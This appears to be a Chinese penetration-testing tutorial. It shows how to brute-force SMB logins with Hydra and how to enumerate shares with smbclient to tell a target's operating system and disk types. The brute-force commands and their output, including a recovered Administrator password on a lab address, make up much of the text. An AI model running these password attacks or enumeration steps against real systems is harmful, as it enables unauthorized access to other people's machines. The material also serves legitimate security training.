服務(wù)器信息塊(Server Message Block,SMB)是一種IBM協(xié)議,用于在計算機間共享文件、打印機和串口等。SMB協(xié)議可以用在TCP/IP協(xié)議之上,也可以用在其他網(wǎng)絡(luò)協(xié)議(如NetBEUI)之上。本文介紹利用SMB服務(wù)提供的共享文件夾信息,來判斷目標主機的操作系統(tǒng)類型和磁盤信息等。
SMB是一種客戶機/服務(wù)器、請求/響應(yīng)協(xié)議。通過SMB協(xié)議,客戶端應(yīng)用程序可以在各種網(wǎng)絡(luò)環(huán)境下讀、寫服務(wù)器上的文件,以及對服務(wù)器程序提出服務(wù)請求。此外,通過SMB協(xié)議,應(yīng)用程序可以訪問遠程服務(wù)端的文件,以及打印機、郵件槽和命名管道等資源。
1. 暴力破解SMB服務(wù)
如果要利用SMB服務(wù)來獲取信息的話,則需要知道該服務(wù)的登錄用戶名和密碼。如果使用Samba構(gòu)建SMB服務(wù)的話,默認安裝后,將創(chuàng)建一個名為root的Samba用戶,密碼為空;如果使用Windows自帶的SMB服務(wù)的話,則需要提供對應(yīng)的用戶名和密碼。下面介紹使用Hydra工具暴力破解SMB服務(wù)的方法。
Hydra是一款非常強大的開源密碼攻擊工具,支持多種協(xié)議的破解,如FTP、HTTP、SMB等。其中,用于暴力破解SMB服務(wù)的語法格式如下:
Hydra -L <user file> -P <pass file> [server IP] smb
使用Hydra工具暴力破解Windows自帶的SMB服務(wù)。執(zhí)行命令如下:
root@daxueba:~# hydra -L user.txt -P pass.txt 192.168.19.131 smb
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2021-08-06 10:12:41
[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)
[DATA] max 1 task per 1 server, overall 1 task, 156 login tries (l:13/p:12),~156 tries per task
[DATA] attacking smb://192.168.19.131:445/
[445][smb] host: 192.168.19.131 login: test
[445][smb] host: 192.168.19.131 login: Administrator password: daxueba
1 of 1 target successfully completed, 2 valid passwords found
Hydra (http://www.thc.org/thc-hydra) finished at 2021-08-06 10:12:43
從輸出的信息中可以看到,通過使用Hydra工具找到了一個有效的用戶名和密碼,用戶名為Administrator,密碼為daxueba。一般情況下,Windows系統(tǒng)都會允許Administrator用戶訪問所有資源。所以可以使用-l(小寫)選項直接指定暴力破解該用戶的密碼。
root@daxueba:~# hydra -l Administrator -P pass.txt 192.168.19.131 smb
2. 判斷操作系統(tǒng)類型
在Linux系統(tǒng)中,提供了一款名為smbclient的客戶端工具,可以用來訪問SMB服務(wù)中的共享文件。當成功訪問到SMB共享文件后,即可看到共享文件名、磁盤類型及描述信息。通過對這些信息進行分析,則可以判斷出目標主機的操作系統(tǒng)類型及磁盤類型。smbclient工具的語法格式如下:
smbclient -L <server IP> -U [username]
訪問Linux系統(tǒng)中的SMB服務(wù)。執(zhí)行命令如下:
root@daxueba:~# smbclient -L 192.168.19.130 -U root
Enter WORKGROUP\root's password:
輸入SMB服務(wù)用戶登錄的密碼將顯示如下信息:
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
share Disk Share folder
IPC$ IPC IPC Service (Samba 4.9.2-Debian)
Reconnecting with SMB1 for workgroup listing.
Server Comment
--------- -------
Workgroup Master
--------- -------
從以上輸出信息中可以看到目標SMB中共享的文件。其中,Sharename表示共享文件名、Type表示硬盤類型、Comment是共享文件的描述。從以上的Comment列可以看到共享的IPC服務(wù)版本為Samba 4.9.2-Debian。由此可以說明,該目標主機的操作系統(tǒng)類型為Linux。如果目標主機的操作系統(tǒng)是Windows的話,則文件名列將顯示共享文件夾的盤符。具體如下:
root@daxueba:~# smbclient -L 192.168.19.131 -U Test
Enter WORKGROUP\Test's password:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk 遠程管理
C$ Disk 默認共享
E$ Disk 默認共享
IPC$ IPC 遠程 IPC
share Disk
Users Disk
Reconnecting with SMB1 for workgroup listing.
Server Comment
--------- -------
Workgroup Master
--------- -------
從以上輸出結(jié)果的文件名中可以看到,默認共享的磁盤有C和E盤。只有在Windows系統(tǒng)中,文件夾才是以盤符形式來劃分磁盤的。由此可以判斷出,該目標主機的操作系統(tǒng)類型為Windows。
3. 判斷磁盤類型
下面同樣通過分析目標SMB服務(wù)的共享文件夾信息,來判斷共享的磁盤類型。具體如下:
root@daxueba:~# smbclient -L 192.168.19.130 -U root
Enter WORKGROUP\root's password:
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
share Disk Share folder
IPC$ IPC IPC Service (Samba 4.9.2-Debian)
Reconnecting with SMB1 for workgroup listing.
Server Comment
--------- -------
Workgroup Master
--------- -------
從以上輸出的信息中可以看到,Type列有兩種值,分別是Disk和IPC。其中,Disk表示硬盤;IPC表示命名管道。由此可以說明,share共享文件是硬盤中的一個文件。